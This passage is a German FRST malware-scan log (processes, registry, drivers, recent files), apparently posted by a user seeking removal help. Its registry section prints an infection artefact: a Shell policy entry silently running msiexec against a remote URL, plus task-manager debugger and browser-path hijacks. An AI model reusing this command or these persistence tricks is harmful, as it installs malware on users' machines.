Description: Der Server "Microsoft.Windows.Photos_17.313.10010.0_x64__8wekyb3d8bbwe!App.AppXy9rh3t8m2jfpvhhxp6y2ksgeq77vymbq.mca" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.
 

Error: (04/22/2017 04:22:22 AM) (Source: Service Control Manager) (EventID: 7000) (User: )

Description: Der Dienst "CldFlt" wurde aufgrund folgenden Fehlers nicht gestartet: 

Die Anforderung wird nicht unterstützt.
 

Error: (04/21/2017 03:56:44 AM) (Source: DCOM) (EventID: 10010) (User: ANDREAS-PC)

Description: Der Server "Microsoft.Windows.Photos_17.313.10010.0_x64__8wekyb3d8bbwe!App.AppXy9rh3t8m2jfpvhhxp6y2ksgeq77vymbq.mca" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.
 

Error: (04/21/2017 03:26:06 AM) (Source: Service Control Manager) (EventID: 7000) (User: )

Description: Der Dienst "CldFlt" wurde aufgrund folgenden Fehlers nicht gestartet: 

Die Anforderung wird nicht unterstützt.
 
 

CodeIntegrity:

===================================

  Date: 2017-04-23 05:01:20.151

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume1\Program Files\Common Files\microsoft shared\OFFICE16\MSOXMLMF.DLL that did not meet the Custom 3 / Antimalware signing level requirements.
 

  Date: 2017-04-22 11:08:26.541

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe) attempted to load \Device\HarddiskVolume1\Program Files\Malwarebytes\Anti-Malware\mbae64.dll that did not meet the Store signing level requirements.
 

  Date: 2017-04-22 11:08:26.317

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe) attempted to load \Device\HarddiskVolume1\Program Files\Malwarebytes\Anti-Malware\mbae64.dll that did not meet the Store signing level requirements.
 

  Date: 2017-04-22 11:08:26.101

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe) attempted to load \Device\HarddiskVolume1\Program Files\Malwarebytes\Anti-Malware\mbae64.dll that did not meet the Store signing level requirements.
 

  Date: 2017-04-22 11:08:25.899

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe) attempted to load \Device\HarddiskVolume1\Program Files\Malwarebytes\Anti-Malware\mbae64.dll that did not meet the Store signing level requirements.
 

  Date: 2017-04-22 11:03:46.529

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe) attempted to load \Device\HarddiskVolume1\Program Files\Malwarebytes\Anti-Malware\mbae64.dll that did not meet the Store signing level requirements.
 

  Date: 2017-04-22 11:03:24.580

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe) attempted to load \Device\HarddiskVolume1\Windows\System32\nvspcap64.dll that did not meet the Store signing level requirements.
 

  Date: 2017-04-22 11:03:24.334

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe) attempted to load \Device\HarddiskVolume1\Program Files\Malwarebytes\Anti-Malware\mbae64.dll that did not meet the Store signing level requirements.
 

  Date: 2017-04-22 11:03:13.124

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe) attempted to load \Device\HarddiskVolume1\Windows\System32\nvspcap64.dll that did not meet the Store signing level requirements.
 

  Date: 2017-04-22 11:03:12.712

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe) attempted to load \Device\HarddiskVolume1\Program Files\Malwarebytes\Anti-Malware\mbae64.dll that did not meet the Store signing level requirements.
 
 

==================== Speicherinformationen =========================== 
 

Prozessor: AMD FX(tm)-8350 Eight-Core Processor 

Prozentuale Nutzung des RAM: 17%

Installierter physikalischer RAM: 16284.96 MB

Verfügbarer physikalischer RAM: 13354.62 MB

Summe virtueller Speicher: 18716.96 MB

Verfügbarer virtueller Speicher: 15466.13 MB
 

==================== Laufwerke ================================
 

Drive c: () (Fixed) (Total:465.3 GB) (Free:311.09 GB) NTFS ==>[Laufwerk mit Startkomponenten (eingeholt von BCD)]

Drive d: (Samsung SDD) (Fixed) (Total:232.88 GB) (Free:24.92 GB) NTFS

Drive e: (Samsung HDD) (Fixed) (Total:232.88 GB) (Free:32.5 GB) NTFS ==>[System mit Startkomponenten (eingeholt von Laufwerk)]

Drive f: (Externe Festplatte) (Fixed) (Total:2794.51 GB) (Free:1111.01 GB) NTFS
 

==================== MBR & Partitionstabelle ==================
 

========================================================

Disk: 0 (MBR Code: Windows 7 or 8) (Size: 465.8 GB) (Disk ID: 399BE559)

Partition 1: (Active) - (Size=465.3 GB) - (Type=07 NTFS)

Partition 2: (Not Active) - (Size=471 MB) - (Type=27)
 

========================================================

Disk: 1 (MBR Code: Windows 7 or 8) (Size: 232.9 GB) (Disk ID: 92061219)

Partition 1: (Not Active) - (Size=232.9 GB) - (Type=07 NTFS)
 

========================================================

Disk: 2 (MBR Code: Windows 7 or 8) (Size: 232.9 GB) (Disk ID: 996E3212)

Partition 1: (Active) - (Size=232.9 GB) - (Type=07 NTFS)

Attempted reading MBR returned 0 bytes.

 Could not read MBR for disk 3.
 

==================== Ende von Addition.txt ============================

FRST.txt

Code:

Untersuchungsergebnis von Farbar Recovery Scan Tool (FRST) (x64) Version: 23-04-2017 01

durchgeführt von Andy (Administrator) auf ANDREAS-PC (24-04-2017 00:25:26)

Gestartet von C:\Users\Andy\Downloads

Geladene Profile: Andy (Verfügbare Profile: defaultuser0 & Andy)

Platform: Windows 10 Pro Version 1703 (X64) Sprache: Deutsch (Deutschland)

Internet Explorer Version 11 (Standard-Browser: Chrome)

Start-Modus: Normal

Anleitung für Farbar Recovery Scan Tool: hxxp://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/
 

==================== Prozesse (Nicht auf der Ausnahmeliste) =================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Prozess geschlossen. Die Datei wird nicht verschoben.)
 

(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display.NvContainer\NVDisplay.Container.exe

(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display\nvxdsync.exe

() C:\Program Files (x86)\ASUS\AsSysCtrlService\1.00.22\AsSysCtrlService.exe

(DTS, Inc) C:\Program Files\Realtek\Audio\HDA\DTSU2PAuSrv64.exe

() C:\Program Files (x86)\ASUS\AXSP\1.02.00\atkexComSvc.exe

(Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe

(Razer Inc.) C:\Program Files (x86)\Razer Chroma SDK\bin\RzSDKService.exe

(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe

() C:\Program Files (x86)\Razer\Razer Services\GSS\GameScannerService.exe

(NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NvTelemetry\NvTelemetryContainer.exe

(Microsoft Corporation) C:\Windows\System32\SecurityHealthService.exe

(Microsoft Corporation) C:\Program Files\Windows Defender\MsMpEng.exe

(eVenture Limited) C:\Program Files (x86)\hide.me VPN\hidemesvc.exe

(Microsoft Corporation) C:\Program Files\Windows Defender\NisSrv.exe

(NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NvContainer\nvcontainer.exe

(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display\nvtray.exe

(Microsoft Corporation) C:\Program Files\Windows Defender\MSASCuiL.exe

(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RtkNGUI64.exe

(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RAVBg64.exe

(Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\mbamtray.exe

(LG Electronics Inc.) C:\Program Files (x86)\LG Electronics\OnScreen Control\bin\OnScreen Control.exe

(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\ShadowPlay\nvspcaps64.exe

(TODO: <Company name>) C:\Program Files (x86)\LG Electronics\OnScreen Control\bin\ScreenSplitterHook64App.exe

(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\ShadowPlay\nvsphelper64.exe

(NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NVIDIA GeForce Experience\NVIDIA Share.exe

(NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NVIDIA GeForce Experience\NVIDIA Share.exe

(Node.js) C:\Program Files (x86)\NVIDIA Corporation\NvNode\NVIDIA Web Helper.exe

(Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\mbam.exe

(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

(Microsoft Corporation) C:\Windows\System32\smartscreen.exe
 

==================== Registry (Nicht auf der Ausnahmeliste) ====================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zurückgesetzt oder entfernt. Die Datei wird nicht verschoben.)
 

HKLM\...\Run: [SecurityHealth] => C:\Program Files\Windows Defender\MSASCuiL.exe [629152 2017-03-18] (Microsoft Corporation)

HKLM\...\Run: [RTHDVCPL] => C:\Program Files\Realtek\Audio\HDA\RtkNGUI64.exe [8841472 2016-06-17] (Realtek Semiconductor)

HKLM\...\Run: [RtHDVBg_DTS] => C:\Program Files\Realtek\Audio\HDA\RAVBg64.exe [1454336 2016-06-17] (Realtek Semiconductor)

HKLM\...\Run: [ShadowPlay] => "C:\WINDOWS\system32\rundll32.exe" C:\WINDOWS\system32\nvspcap64.dll,ShadowPlayOnSystemStart

HKLM\...\Run: [Malwarebytes TrayApp] => C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\mbamtray.exe [2780112 2017-01-20] (Malwarebytes)

HKLM-x32\...\Run: [Razer Synapse] => C:\Program Files (x86)\Razer\Synapse\RzSynapse.exe [596640 2017-03-02] (Razer Inc.)

HKLM-x32\...\Run: [SunJavaUpdateSched] => C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe [587288 2016-12-12] (Oracle Corporation)

HKLM-x32\...\Run: [OnScreen Control] => C:\Program Files (x86)\LG Electronics\OnScreen Control\bin\OnScreenStartUpApp.exe [1785328 2015-12-14] (TODO: <Company name>)

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\Run: [Steam] => C:\Program Files (x86)\Steam\steam.exe [3019552 2017-03-23] (Valve Corporation)

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\Run: [DAEMON Tools Ultra Agent] => C:\Program Files\DAEMON Tools Ultra\DTAgent.exe [5021888 2016-12-12] (Disc Soft Ltd)

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\Run: [HP ENVY 4520 series (NET)] => C:\Program Files\HP\HP ENVY 4520 series\Bin\ScanToPCActivationApp.exe [3651080 2015-03-09] (Hewlett-Packard Development Company, LP)

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\Run: [Skype] => C:\Program Files (x86)\Skype\Phone\Skype.exe [27545048 2017-03-14] (Skype Technologies S.A.)

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\Policies\system: [Shell] explorer.exe,msiexec.exe /i hxxp://point.orangeiloveyou.com/?data=zDlkMj1WF8EdFTRXM8EcMkQLMdQLNUM8FkRSNWhSMkJSF8YcMc== /q

IFEO\DisplaySwitch.exe: [Debugger] 

IFEO\taskmgr.exe: [Debugger] 

Startup: C:\Users\Andy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hide.me VPN.lnk [2017-04-22]

ShortcutTarget: hide.me VPN.lnk -> C:\Program Files (x86)\hide.me VPN\Hide.me.exe (eVenture Limited)

GroupPolicy: Beschränkung <======= ACHTUNG
 

==================== Internet (Nicht auf der Ausnahmeliste) ====================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Eintrag entfernt oder auf den Standardwert zurückgesetzt, wenn es sich um einen Registryeintrag handelt.)
 

Tcpip\Parameters: [DhcpNameServer] 192.168.2.1

Tcpip\..\Interfaces\{8d9c5742-6be7-44dc-8e04-a12f1c917124}: [DhcpNameServer] 192.168.2.1
 

Internet Explorer:

==================

BHO: Skype for Business Browser Helper -> {31D09BA0-12F5-4CCE-BE8A-2923E76605DA} -> C:\Program Files\Microsoft Office\Office16\OCHelper.dll [2017-03-14] (Microsoft Corporation)

BHO: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files\Java\jre1.8.0_121\bin\ssv.dll [2017-02-17] (Oracle Corporation)

BHO: Microsoft OneDrive for Business Browser Helper -> {D0498E0A-45B7-42AE-A9AA-ABA463DBD3BF} -> C:\Program Files\Microsoft Office\Office16\GROOVEEX.DLL [2017-02-22] (Microsoft Corporation)

BHO: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files\Java\jre1.8.0_121\bin\jp2ssv.dll [2017-02-17] (Oracle Corporation)

BHO-x32: Skype for Business Browser Helper -> {31D09BA0-12F5-4CCE-BE8A-2923E76605DA} -> C:\Program Files (x86)\Microsoft Office\Office16\OCHelper.dll [2015-07-31] (Microsoft Corporation)

BHO-x32: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files (x86)\Java\jre1.8.0_121\bin\ssv.dll [2017-02-17] (Oracle Corporation)

BHO-x32: Microsoft OneDrive for Business Browser Helper -> {D0498E0A-45B7-42AE-A9AA-ABA463DBD3BF} -> C:\Program Files (x86)\Microsoft Office\Office16\GROOVEEX.DLL [2017-02-22] (Microsoft Corporation)

BHO-x32: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files (x86)\Java\jre1.8.0_121\bin\jp2ssv.dll [2017-02-17] (Oracle Corporation)

Handler: mso-minsb.16 - {3459B272-CC19-4448-86C9-DDC3B4B2FAD3} - C:\Program Files\Microsoft Office\Office16\MSOSB.DLL [2016-11-16] (Microsoft Corporation)

Handler-x32: mso-minsb.16 - {3459B272-CC19-4448-86C9-DDC3B4B2FAD3} - C:\Program Files (x86)\Microsoft Office\Office16\MSOSB.DLL [2016-11-16] (Microsoft Corporation)

Handler: osf.16 - {5504BE45-A83B-4808-900A-3A5C36E7F77A} - C:\Program Files\Microsoft Office\Office16\MSOSB.DLL [2016-11-16] (Microsoft Corporation)

Handler-x32: osf.16 - {5504BE45-A83B-4808-900A-3A5C36E7F77A} - C:\Program Files (x86)\Microsoft Office\Office16\MSOSB.DLL [2016-11-16] (Microsoft Corporation)
 

FireFox:

========

FF Plugin: @java.com/DTPlugin,version=11.121.2 -> C:\Program Files\Java\jre1.8.0_121\bin\dtplugin\npDeployJava1.dll [2017-02-17] (Oracle Corporation)

FF Plugin: @java.com/JavaPlugin,version=11.121.2 -> C:\Program Files\Java\jre1.8.0_121\bin\plugin2\npjp2.dll [2017-02-17] (Oracle Corporation)

FF Plugin: @Microsoft.com/NpCtrl,version=1.0 -> C:\Program Files\Microsoft Silverlight\5.1.50906.0\npctrl.dll [2017-03-09] ( Microsoft Corporation)

FF Plugin: @microsoft.com/SharePoint,version=14.0 -> C:\PROGRA~1\MICROS~1\Office16\NPSPWRAP.DLL [2015-07-31] (Microsoft Corporation)

FF Plugin-x32: @java.com/DTPlugin,version=11.121.2 -> C:\Program Files (x86)\Java\jre1.8.0_121\bin\dtplugin\npDeployJava1.dll [2017-02-17] (Oracle Corporation)

FF Plugin-x32: @java.com/JavaPlugin,version=11.121.2 -> C:\Program Files (x86)\Java\jre1.8.0_121\bin\plugin2\npjp2.dll [2017-02-17] (Oracle Corporation)

FF Plugin-x32: @microsoft.com/Lync,version=15.0 -> C:\Program Files (x86)\Mozilla Firefox\plugins\npmeetingjoinpluginoc.dll [Keine Datei]

FF Plugin-x32: @Microsoft.com/NpCtrl,version=1.0 -> C:\Program Files (x86)\Microsoft Silverlight\5.1.50906.0\npctrl.dll [2017-03-09] ( Microsoft Corporation)

FF Plugin-x32: @microsoft.com/SharePoint,version=14.0 -> C:\PROGRA~2\MICROS~1\Office16\NPSPWRAP.DLL [2015-07-31] (Microsoft Corporation)

FF Plugin-x32: @nvidia.com/3DVision -> C:\Program Files (x86)\NVIDIA Corporation\3D Vision\npnv3dv.dll [2017-03-17] (NVIDIA Corporation)

FF Plugin-x32: @nvidia.com/3DVisionStreaming -> C:\Program Files (x86)\NVIDIA Corporation\3D Vision\npnv3dvstreaming.dll [2017-03-17] (NVIDIA Corporation)

FF Plugin-x32: @tools.google.com/Google Update;version=3 -> C:\Program Files (x86)\Google\Update\1.3.32.7\npGoogleUpdate3.dll [2017-04-22] (Google Inc.)

FF Plugin-x32: @tools.google.com/Google Update;version=9 -> C:\Program Files (x86)\Google\Update\1.3.32.7\npGoogleUpdate3.dll [2017-04-22] (Google Inc.)

FF Plugin-x32: @videolan.org/vlc,version=2.2.4 -> C:\Program Files (x86)\VideoLAN\VLC\npvlc.dll [2016-06-01] (VideoLAN)
 

Chrome: 

=======

CHR Session Restore: Default -> ist aktiviert.

CHR Profile: C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default [2017-04-24]

CHR Extension: (Google Präsentationen) - C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek [2017-04-22]

CHR Extension: (Google Docs) - C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake [2017-04-22]

CHR Extension: (Google Drive) - C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2017-04-22]

CHR Extension: (YouTube) - C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2017-04-22]

CHR Extension: (uBlock Origin) - C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default\Extensions\cjpalhdlnbpafiamejdnhcphjbkeiagm [2017-04-22]

CHR Extension: (Google Tabellen) - C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap [2017-04-22]

CHR Extension: (Google Docs Offline) - C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2017-04-22]

CHR Extension: (Chrome Web Store-Zahlungen) - C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2017-04-22]

CHR Extension: (uMatrix) - C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default\Extensions\ogfcmafjalglgifnmanfmnieipoejdcf [2017-04-22]

CHR Extension: (Google Mail) - C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2017-04-22]

CHR Extension: (Chrome Media Router) - C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm [2017-04-22]

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\StartMenuInternet\ChromeHTML: -> C:\Program Files (x86)\Everbean\Application\chrome.exe <==== ACHTUNG
 

==================== Dienste (Nicht auf der Ausnahmeliste) ====================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 

R2 asComSvc; C:\Program Files (x86)\ASUS\AXSP\1.02.00\atkexComSvc.exe [936728 2015-05-08] ()

R2 AsSysCtrlService; C:\Program Files (x86)\ASUS\AsSysCtrlService\1.00.22\AsSysCtrlService.exe [1360016 2014-04-24] () [Datei ist nicht signiert]

S3 Disc Soft Ultra Bus Service; C:\Program Files\DAEMON Tools Ultra\DiscSoftBusServiceUltra.exe [4854464 2016-12-12] (Disc Soft Ltd)

R2 DTSAudioSvc; C:\Program Files\Realtek\Audio\HDA\DTSU2PAuSrv64.exe [249328 2016-06-17] (DTS, Inc)

R2 hmevpnsvc; C:\Program Files (x86)\hide.me VPN\hidemesvc.exe [138960 2017-04-09] (eVenture Limited)

R2 MBAMService; C:\Program Files\Malwarebytes\Anti-Malware\mbamservice.exe [4355024 2017-01-20] (Malwarebytes)

R2 NvContainerLocalSystem; C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe [492480 2017-03-28] (NVIDIA Corporation)

S3 NvContainerNetworkService; C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe [492480 2017-03-28] (NVIDIA Corporation)

R2 NVDisplay.ContainerLocalSystem; C:\Program Files\NVIDIA Corporation\Display.NvContainer\NVDisplay.Container.exe [464440 2017-03-17] (NVIDIA Corporation)

R2 NvTelemetryContainer; C:\Program Files (x86)\NVIDIA Corporation\NvTelemetry\NvTelemetryContainer.exe [425408 2017-03-28] (NVIDIA Corporation)

R2 Razer Chroma SDK Service; C:\Program Files (x86)\Razer Chroma SDK\bin\RzSDKService.exe [69768 2017-03-21] (Razer Inc.)

R2 Razer Game Scanner Service; C:\Program Files (x86)\Razer\Razer Services\GSS\GameScannerService.exe [189264 2016-09-25] ()

S3 Sense; C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe [3913064 2017-03-20] (Microsoft Corporation)

R3 WdNisSvc; C:\Program Files\Windows Defender\NisSrv.exe [342264 2017-03-18] (Microsoft Corporation)

R2 WinDefend; C:\Program Files\Windows Defender\MsMpEng.exe [102816 2017-03-18] (Microsoft Corporation)

S3 wlpasvc; C:\Windows\System32\lpasvc.dll [1295360 2017-03-18] (Microsoft Corporation)
 

===================== Treiber (Nicht auf der Ausnahmeliste) ======================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 

R1 AsIO; C:\Windows\SysWow64\drivers\AsIO.sys [15232 2015-05-08] ()

R1 ESProtectionDriver; C:\Windows\system32\drivers\mbae64.sys [77440 2017-04-12] ()

S3 iaLPSS2i_GPIO2_BXT_P; C:\Windows\System32\drivers\iaLPSS2i_GPIO2_BXT_P.sys [85504 2017-03-18] (Intel Corporation)

S3 iaLPSS2i_I2C_BXT_P; C:\Windows\System32\drivers\iaLPSS2i_I2C_BXT_P.sys [168448 2017-03-18] (Intel Corporation)

R2 MBAMChameleon; C:\Windows\system32\drivers\MBAMChameleon.sys [186304 2017-04-21] (Malwarebytes)

R3 MBAMFarflt; C:\Windows\system32\drivers\farflt.sys [111544 2017-04-23] (Malwarebytes)

R3 MBAMProtection; C:\Windows\system32\drivers\mbam.sys [43968 2017-04-23] (Malwarebytes)

R0 MBAMSwissArmy; C:\Windows\System32\drivers\MBAMSwissArmy.sys [251832 2017-04-23] (Malwarebytes)

R3 MBAMWebProtection; C:\Windows\system32\drivers\mwac.sys [92096 2017-04-23] (Malwarebytes)

R3 nvlddmkm; C:\Windows\System32\DriverStore\FileRepository\nv_desktop_ref4i.inf_amd64_cec9c0a9e8098939\nvlddmkm.sys [14574640 2017-03-17] (NVIDIA Corporation)

S3 NvStreamKms; C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamKms.sys [30144 2017-03-28] (NVIDIA Corporation)

R3 nvvad_WaveExtensible; C:\Windows\system32\drivers\nvvad64v.sys [47552 2017-03-28] (NVIDIA Corporation)

R3 nvvhci; C:\Windows\System32\drivers\nvvhci.sys [57792 2017-03-28] (NVIDIA Corporation)

R3 rt640x64; C:\Windows\System32\drivers\rt640x64.sys [604160 2017-03-18] (Realtek                                            )

R3 rzendpt; C:\Windows\System32\drivers\rzendpt.sys [51736 2016-06-23] (Razer Inc)

R3 rzp1endpt; C:\Windows\System32\drivers\rzp1endpt.sys [51736 2016-06-23] (Razer Inc)

R2 rzpmgrk; C:\WINDOWS\system32\drivers\rzpmgrk.sys [44144 2016-09-17] (Razer, Inc.)

R2 rzpnk; C:\WINDOWS\system32\drivers\rzpnk.sys [137840 2016-10-08] (Razer, Inc.)

R3 rzvmouse; C:\Windows\System32\drivers\rzvmouse.sys [43544 2016-06-23] (Razer Inc)

S3 SDFRd; C:\Windows\System32\drivers\SDFRd.sys [31128 2017-03-18] ()

S0 WdBoot; C:\Windows\System32\drivers\WdBoot.sys [44632 2017-03-18] (Microsoft Corporation)

R0 WdFilter; C:\Windows\System32\drivers\WdFilter.sys [294816 2017-03-18] (Microsoft Corporation)

R3 WdNisDrv; C:\Windows\System32\Drivers\WdNisDrv.sys [121248 2017-03-18] (Microsoft Corporation)
 

==================== NetSvcs (Nicht auf der Ausnahmeliste) ===================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 

NETSVCx32: TokenBroker -> C:\Windows\SysWOW64\TokenBroker.dll (Microsoft Corporation)
 

==================== Ein Monat: Erstellte Dateien und Ordner ========
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)
 

2017-04-24 00:25 - 2017-04-24 00:25 - 00018105 _____ C:\Users\Andy\Downloads\FRST.txt

2017-04-24 00:24 - 2017-04-24 00:25 - 00000000 ____D C:\FRST

2017-04-24 00:22 - 2017-04-24 00:22 - 02426368 _____ (Farbar) C:\Users\Andy\Downloads\FRST64.exe

2017-04-23 23:26 - 2017-04-23 23:26 - 00001438 _____ C:\Users\Andy\Desktop\scan5.txt

2017-04-23 23:26 - 2017-04-22 04:31 - 00615853 _____ C:\Users\Andy\Desktop\scan4.txt

2017-04-22 05:04 - 2017-04-22 05:04 - 00004632 _____ C:\Windows\System32\Tasks\Adobe Flash Player PPAPI Notifier

2017-04-22 05:03 - 2017-04-22 05:06 - 00000000 ____D C:\Users\Andy\AppData\Local\Adobe

2017-04-22 04:39 - 2017-04-22 04:39 - 00002336 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk

2017-04-22 04:38 - 2017-04-22 05:13 - 00000000 ____D C:\Users\Andy\AppData\Local\Google

2017-04-22 04:38 - 2017-04-22 04:39 - 00000000 ____D C:\Program Files (x86)\Google

2017-04-22 04:38 - 2017-04-22 04:38 - 00003628 _____ C:\Windows\System32\Tasks\GoogleUpdateTaskMachineUA

2017-04-22 04:38 - 2017-04-22 04:38 - 00003504 _____ C:\Windows\System32\Tasks\GoogleUpdateTaskMachineCore

2017-04-22 04:19 - 2017-04-21 03:23 - 00017381 _____ C:\Users\Andy\Desktop\scan3.txt

2017-04-21 03:19 - 2017-04-21 03:19 - 00002346 _____ C:\Users\Andy\Desktop\scan2.txt

2017-04-21 03:18 - 2017-04-21 03:18 - 00002346 _____ C:\Users\Andy\Desktop\Scan1.txt

2017-04-20 16:58 - 2017-04-20 16:58 - 00000000 _____ C:\Windows\SysWOW64\33

2017-04-20 16:58 - 2017-04-20 16:58 - 00000000 _____ C:\Windows\SysWOW64\11

2017-04-20 16:57 - 2017-04-23 00:37 - 00000000 _____ C:\Users\Public\Documents\temp.dat

2017-04-20 16:57 - 2017-04-21 02:36 - 00000000 _____ C:\Users\Public\Documents\report.dat

2017-04-20 05:34 - 2017-04-20 05:34 - 00000000 ____D C:\Windows\LastGood.Tmp

2017-04-20 05:34 - 2017-03-28 05:32 - 00153536 _____ (NVIDIA Corporation) C:\Windows\system32\nvaudcap64v.dll

2017-04-20 05:34 - 2017-03-28 05:32 - 00127424 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvaudcap32v.dll

2017-04-18 06:54 - 2017-04-18 07:16 - 00000000 ____D C:\Users\Andy\Downloads\JoyToKey_en

2017-04-17 16:59 - 2017-04-17 16:59 - 1153666585 _____ C:\Windows\MEMORY.DMP

2017-04-17 16:59 - 2017-04-17 16:59 - 00682124 _____ C:\Windows\Minidump\041717-9796-01.dmp

2017-04-17 16:59 - 2017-04-17 16:59 - 00000000 ____D C:\Windows\Minidump

2017-04-17 16:58 - 2017-04-17 16:58 - 00068288 _____ C:\Windows\system32\Drivers\VBoxDrv.sys

2017-04-16 17:30 - 2017-04-16 17:30 - 00000000 ____D C:\Users\Andy\AppData\Local\DBG

2017-04-15 18:10 - 2017-04-15 18:10 - 00205035 _____ C:\Users\Andy\Documents\Holzmann-Türen.pdf

